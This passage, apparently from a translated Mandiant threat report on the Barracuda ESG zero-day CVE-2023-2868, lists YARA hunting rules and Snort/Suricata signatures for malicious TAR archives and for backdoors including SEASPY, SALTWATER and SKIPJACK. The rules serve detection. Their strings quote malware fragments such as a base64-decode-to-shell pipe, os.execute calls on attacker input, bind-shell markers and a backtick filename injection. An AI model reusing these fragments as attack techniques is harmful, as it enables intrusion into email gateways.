$b64_tmp = "/tmp/" base64
condition:
filesize < 1MB and
$ustar at 257 and
for any i in (0 .. #ustar) : (
$b64_tmp in (i * 512 .. i * 512 + 250)
)
}
rule M_Hunting_Exploit_Archive_3
{
meta:
author = "Mandiant"
description = "Hunting rule looking for TAR archive with openssl base64 encoded being part of filename of enclosed files"
md5 = "0d67f50a0bf7a3a017784146ac41ada0"
strings:
$ustar = { 75 73 74 61 72 }
$b64_openssl = "openssl" base64
condition:
filesize < 1MB and
$ustar at 257 and
for any i in (0 .. #ustar) : (
$b64_openssl in (i * 512 .. i * 512 + 250)
)
}
rule M_Hunting_Exploit_Archive_CVE_2023_2868
{
meta:
author = "Mandiant"
description = "Hunting rule looking for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"
md5 = "0d67f50a0bf7a3a017784146ac41ada0"
strings:
$ustar = { 75 73 74 61 72 }
$qb = "'`"
condition:
filesize < 1MB and
$ustar at 257 and
for any i in (0 .. #ustar) : (
$qb at (@ustar[i] + 255)
)
}
rule M_Hunting_Linux_SALTWATER_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SALTWATER samples."
md5 = "827d507aa3bde0ef903ca5dec60cdec8"
strings:
$s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
$s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
$s3 = { 71 75 69 74 0D 0A 00 00 00 12 8D 03 07 9C 17 92 08 F0 0C 9A 01 06 08 00 1A 0C 0B 8D 18 0A 0D 0A }
condition:
uint32(0) == 0x464c457f and any of them
}
rule M_Hunting_Linux_SALTWATER_2
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SALTWATER samples."
md5 = "827d507aa3bde0ef903ca5dec60cdec8"
strings:
$c1 = "TunnelArgs"
$c2 = "DownloadChannel"
$c3 = "UploadChannel"
$c4 = "ProxyChannel"
$c5 = "ShellChannel"
$c6 = "MyWriteAll"
$c7 = "MyReadAll"
$c8 = "Connected2Vps"
$c9 = "CheckRemoteIp"
$c10 = "GetFileSize"
$s1 = "[-] error: popen failed"
$s2 = "/home/product/code/config/ssl_engine_cert.pem"
$s3 = "libbindshell.so"
condition:
uint32(0) == 0x464c457f and (any of ($s*) or 4 of ($c*))
}
rule FE_Hunting_Linux_Funchook_FEBeta
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in Funchook library - https://github.com/kubo/funchook"
md5 = "827d507aa3bde0ef903ca5dec60cdec8"
strings:
$f = "funchook_"
$s1 = "Enter funchook_create()"
$s2 = "Leave funchook_create() => %p"
$s3 = "Enter funchook_prepare(%p, %p, %p)"
$s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"
$s5 = "Enter funchook_install(%p, 0x%x)"
$s6 = "Leave funchook_install() => %d"
$s7 = "Enter funchook_uninstall(%p, 0x%x)"
$s8 = "Leave funchook_uninstall() => %d"
$s9 = "Enter funchook_destroy(%p)"
$s10 = "Leave funchook_destroy() => %d"
$s11 = "Could not modify already-installed funchook handle."
$s12 = " change %s address from %p to %p"
$s13 = " link_map addr=%p, name=%s"
$s14 = " ELF type is neither ET_EXEC nor ET_DYN."
$s15 = " not a valid ELF module %s."
$s16 = "Failed to protect memory %p (size=%"
$s17 = " protect memory %p (size=%"
$s18 = "Failed to unprotect memory %p (size=%"
$s19 = " unprotect memory %p (size=%"
$s20 = "Failed to unprotect page %p (size=%"
$s21 = " unprotect page %p (size=%"
$s22 = "Failed to protect page %p (size=%"
$s23 = " protect page %p (size=%"
$s24 = "Failed to deallocate page %p (size=%"
$s25 = " deallocate page %p (size=%"
$s26 = " allocate page %p (size=%"
$s27 = " try to allocate %p but %p (size=%"
$s28 = " allocate page %p (size=%"
$s29 = "Could not find a free region near %p"
$s30 = " -- Use address %p or %p for function %p"
condition:
uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))
}
rule M_Hunting_Linux_SEASPY_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SEASPY samples."
md5 = "4ca4f582418b2cc0626700511a6315c0"
strings:
$s1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0"
$s2 = "NO port code"
$s3 = "pcap_lookupnet: %s"
$s4 = "Child process id:%d"
$s5 = "[*]Success!"
$s6 = "enter open tty shell..."
condition:
uint32(0) == 0x464c457f and all of ($s*)
}
rule M_Hunting_Lua_SEASIDE_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SEASIDE samples."
md5 = "cd2813f0260d63ad5adf0446253c2172"
strings:
$s1 = "function on_helo()"
$s2 = "local bindex,eindex = string.find(helo,'.onion')"
$s3 = "helosend = 'pd'..' '..helosend"
$s4 = "os.execute(helosend)"
condition:
(filesize < 1MB) and all of ($s*)
}
rule M_Hunting_SKIPJACK_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SKIPJACK installation script."
md5 = "e4e86c273a2b67a605f5d4686783e0cc"
strings:
$str1 = "hdr:name() == 'Content-ID'" base64
$str2 = "hdr:body() ~= nil" base64
$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64
$str4 = "openssl aes-256-cbc" base64
$str5 = "mod_content.lua"
$str6 = "#!/bin/sh"
condition:
all of them
}
rule M_Hunting_Lua_SKIPJACK_2
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SKIPJACK samples."
md5 = "87847445f9524671022d70f2a812728f"
strings:
$str1 = "hdr:name() == 'Content-ID'"
$str2 = "hdr:body() ~= nil"
$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")"
$str4 = "openssl aes-256-cbc"
$str5 = "| base64 -d| sh 2>"
condition:
all of them
}
rule M_Hunting_Lua_SEASPRAY_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in SEASPRAY samples."
md5 = "35cf6faf442d325961935f660e2ab5a0"
strings:
$str1 = "string.find(attachment:filename(),'obt075') ~= nil"
$str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())"
$str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())"
condition:
all of them
}
rule M_Hunting_Linux_WHIRLPOOL_1
{
meta:
author = "Mandiant"
description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
md5 = "177add288b289d43236d2dba33e65956"
strings:
$s1 = "error -1 exit" fullword
$s2 = "create socket error: %s(error: %d)\n" fullword
$s3 = "connect error: %s(error: %d)\n" fullword
$s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
$c1 = "plain_connect" fullword
$c2 = "ssl_connect" fullword
$c3 = "SSLShell.c" fullword
condition:
filesize < 15MB and uint32(0) == 0x464c457f and (all of ($s*) or all of ($c*))
}
Snort/Suricata
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_oXmp"; flags:S; dsize:>9; content:"oXmp"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1;)
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_TfuZ"; flags:S; dsize:>9; content:"TfuZ"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1;)
Suricata >= 5.0.4
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_1358"; flags:S; tcp.hdr; content:"|05 4e|"; offset:22; depth:2; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1;)
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58928"; flags:S; tcp.hdr; content:"|e6 30|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1;)
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58930"; flags:S; tcp.hdr; content:"|e6 32|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000004; rev:1;)
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60826"; flags:S; tcp.hdr; content:"|ed 9a|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000005; rev:1;)
alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60828"; flags:S; tcp.hdr; content:"|ed 9c|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000006; rev:1;)
Mandiant Security Validation Actions
Organizations can validate their security controls using the following actions with Mandiant Security Validation.
※本ブログは、2023年6月15日に公開されたブログ「Barracuda ESG Zero-Day Vulnerability (CVE-2023-2868) Exploited Globally by Aggressive and Skilled Actor, Suspected Links to China」の日本語抄訳版です。
-Mandiant, 作成者: Austin Larsen, John Palmisano, Mathew Potaczek, John Wolfram, Matthew McWhirt